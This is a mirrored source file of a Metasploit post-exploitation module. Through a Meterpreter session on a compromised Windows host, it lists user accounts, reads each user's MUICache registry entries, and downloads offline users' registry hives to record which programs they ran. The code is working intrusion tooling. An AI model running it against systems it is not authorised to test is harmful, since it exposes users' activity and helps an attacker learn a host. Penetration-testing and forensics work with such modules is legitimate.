Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/enum_muicache.rb
19535 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'rex/registry'
7
8
class MetasploitModule < Msf::Post
9
include Msf::Post::File
10
include Msf::Post::Windows::Priv
11
include Msf::Post::Windows::Registry
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Windows Gather Enum User MUICache',
18
'Description' => %q{
19
This module gathers information about the files and file paths that logged on users have
20
executed on the system. It also will check if the file still exists on the system. This
21
information is gathered by using information stored under the MUICache registry key. If
22
the user is logged in when the module is executed it will collect the MUICache entries
23
by accessing the registry directly. If the user is not logged in the module will download
24
users registry hive NTUSER.DAT/UsrClass.dat from the system and the MUICache contents are
25
parsed from the downloaded hive.
26
},
27
'License' => MSF_LICENSE,
28
'Author' => ['TJ Glad <tjglad[at]cmail.nu>'],
29
'Platform' => ['win'],
30
'SessionType' => ['meterpreter'],
31
'Notes' => {
32
'Stability' => [CRASH_SAFE],
33
'SideEffects' => [],
34
'Reliability' => []
35
},
36
'Compat' => {
37
'Meterpreter' => {
38
'Commands' => %w[
39
core_channel_close
40
core_channel_eof
41
core_channel_open
42
core_channel_read
43
stdapi_fs_stat
44
]
45
}
46
}
47
)
48
)
49
end
50
51
# Scrapes usernames, sids and homepaths from the registry so that we'll know
52
# what user accounts are on the system and where we can find those users
53
# registry hives.
54
def find_user_names
55
user_names = []
56
user_homedir_paths = []
57
user_sids = []
58
59
username_reg_path = "HKLM\\Software\\Microsoft\\Windows\ NT\\CurrentVersion\\ProfileList"
60
profile_subkeys = registry_enumkeys(username_reg_path)
61
if profile_subkeys.blank?
62
print_error('Unable to access ProfileList registry key. Unable to continue.')
63
return nil
64
end
65
66
profile_subkeys.each do |user_sid|
67
unless user_sid.length > 10
68
next
69
end
70
71
user_home_path = registry_getvaldata("#{username_reg_path}\\#{user_sid}", 'ProfileImagePath')
72
if user_home_path.blank?
73
print_error('Unable to read ProfileImagePath from the registry. Unable to continue.')
74
return nil
75
end
76
full_path = user_home_path.strip
77
user_names << full_path.split('\\').last
78
user_homedir_paths << full_path
79
user_sids << user_sid
80
end
81
82
return user_names, user_homedir_paths, user_sids
83
end
84
85
# This function builds full registry muicache paths so that we can
86
# later enumerate the muicahe registry key contents.
87
def enum_muicache_paths(sys_sids, mui_path)
88
user_mui_paths = []
89
hive = 'HKU\\'
90
91
sys_sids.each do |sid|
92
full_path = hive + sid + mui_path
93
user_mui_paths << full_path
94
end
95
96
user_mui_paths
97
end
98
99
# This is the main enumeration function that calls other main
100
# functions depending if we can access the registry directly or if
101
# we need to download the hive and process it locally.
102
def enumerate_muicache(muicache_reg_keys, sys_users, sys_paths, muicache, hive_file)
103
results = []
104
105
all_user_entries = sys_users.zip(muicache_reg_keys, sys_paths)
106
107
all_user_entries.each do |user, reg_key, sys_path|
108
subkeys = registry_enumvals(reg_key)
109
if subkeys.blank?
110
# If the registry_enumvals returns us nothing then we'll know
111
# that the user is most likely not logged in and we'll need to
112
# download and process users hive locally.
113
print_warning("User #{user}: Can't access registry. Maybe the user is not logged in? Trying NTUSER.DAT/USRCLASS.DAT...")
114
result = process_hive(sys_path, user, muicache, hive_file)
115
unless result.nil?
116
result.each do |r|
117
results << r unless r.nil?
118
end
119
end
120
else
121
# If the registry_enumvals returns us content we'll know that we
122
# can access the registry directly and thus continue to process
123
# the content collected from there.
124
print_status("User #{user}: Enumerating registry...")
125
subkeys.each do |key|
126
if key[0] != '@' && key != 'LangID' && !key.nil?
127
result = check_file_exists(key, user)
128
results << result unless result.nil?
129
end
130
end
131
end
132
end
133
134
results
135
end
136
137
# This function will check if it can find the program executable
138
# from the path it found from the registry. Permissions might affect
139
# if it detects the executable but it should be otherwise fairly
140
# reliable.
141
def check_file_exists(key, user)
142
program_path = expand_path(key)
143
if file_exist?(key)
144
return [user, program_path, 'File found']
145
else
146
return [user, program_path, 'File not found']
147
end
148
end
149
150
# This function will check if the filepath contains a registry hive
151
# and if it does it'll proceed to call the function responsible of
152
# downloading the hive. After successfull download it'll continue to
153
# call the hive_parser function which will extract the contents of
154
# the MUICache registry key.
155
def process_hive(sys_path, user, muicache, hive_file)
156
user_home_path = expand_path(sys_path)
157
hive_path = user_home_path + hive_file
158
ntuser_status = file_exist?(hive_path)
159
160
unless ntuser_status == true
161
print_warning("Couldn't locate/download #{user}'s registry hive. Unable to proceed.")
162
return nil
163
end
164
165
print_status("Downloading #{user}'s NTUSER.DAT/USRCLASS.DAT file...")
166
local_hive_copy = Rex::Quickfile.new('jtrtmp')
167
local_hive_copy.close
168
begin
169
session.fs.file.download_file(local_hive_copy.path, hive_path)
170
rescue ::Rex::Post::Meterpreter::RequestError
171
print_error('Unable to download NTUSER.DAT/USRCLASS.DAT file')
172
begin
173
local_hive_copy.unlink
174
rescue StandardError
175
nil
176
end
177
return nil
178
end
179
results = hive_parser(local_hive_copy.path, muicache, user)
180
begin
181
local_hive_copy.unlink
182
rescue StandardError
183
nil
184
end
185
186
results
187
end
188
189
# This function is responsible for parsing the downloaded hive and
190
# extracting the contents of the MUICache registry key.
191
def hive_parser(local_hive_copy, muicache, user)
192
results = []
193
print_status('Parsing registry content...')
194
err_msg = 'Error parsing hive. Unable to continue.'
195
hive = Rex::Registry::Hive.new(local_hive_copy)
196
if hive.nil?
197
print_error(err_msg)
198
return nil
199
end
200
201
muicache_key = hive.relative_query(muicache)
202
if muicache_key.nil?
203
print_error(err_msg)
204
return nil
205
end
206
207
muicache_key_value_list = muicache_key.value_list
208
if muicache_key_value_list.nil?
209
print_error(err_msg)
210
return nil
211
end
212
213
muicache_key_values = muicache_key_value_list.values
214
if muicache_key_values.nil?
215
print_error(err_msg)
216
return nil
217
end
218
219
muicache_key_values.each do |value|
220
key = value.name
221
if key[0] != '@' && key != 'LangID' && !key.nil?
222
result = check_file_exists(key, user)
223
results << result unless result.nil?
224
end
225
end
226
227
results
228
end
229
230
# Information about the MUICache registry key was collected from:
231
#
232
# - Windows Forensic Analysis Toolkit / 2012 / Harlan Carvey
233
# - Windows Registry Forensics / 2011 / Harlan Carvey
234
# - http://forensicartifacts.com/2010/08/registry-muicache/
235
# - http://www.irongeek.com/i.php?page=security/windows-forensics-registry-and-file-system-spots
236
def run
237
print_status('Starting to enumerate MUICache registry keys...')
238
version = get_version_info
239
240
if version.xp_or_2003? && is_admin?
241
print_good("Remote system supported: #{version.product_name}")
242
muicache = '\\Software\\Microsoft\\Windows\\ShellNoRoam\\MUICache'
243
hive_file = '\\NTUSER.DAT'
244
elsif version.build_number >= Msf::WindowsVersion::Vista_SP0 && is_admin?
245
print_good("Remote system supported: #{version.product_name}")
246
muicache = "_Classes\\Local\ Settings\\Software\\Microsoft\\Windows\\Shell\\MUICache"
247
hive_file = '\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat'
248
else
249
print_error('Unsupported OS or not enough privileges. Unable to continue.')
250
return nil
251
end
252
253
table = Rex::Text::Table.new(
254
'Header' => 'MUICache Information',
255
'Indent' => 1,
256
'Columns' =>
257
[
258
'Username',
259
'File path',
260
'File status',
261
]
262
)
263
264
print_status('Phase 1: Searching user names...')
265
sys_users, sys_paths, sys_sids = find_user_names
266
267
if sys_users.blank?
268
print_error('Was not able to find any user accounts. Unable to continue.')
269
return nil
270
else
271
print_good("Users found: #{sys_users.join(', ')}")
272
end
273
274
print_status('Phase 2: Searching registry hives...')
275
muicache_reg_keys = enum_muicache_paths(sys_sids, muicache)
276
results = enumerate_muicache(muicache_reg_keys, sys_users, sys_paths, muicache, hive_file)
277
278
results.each { |r| table << r }
279
280
print_status('Phase 3: Processing results...')
281
loot = store_loot('muicache_info', 'text/plain', session, table.to_s, nil, 'MUICache Information')
282
print_line("\n" + table.to_s + "\n")
283
print_good("Results stored as: #{loot}")
284
print_status('Execution finished.')
285
end
286
end
287
288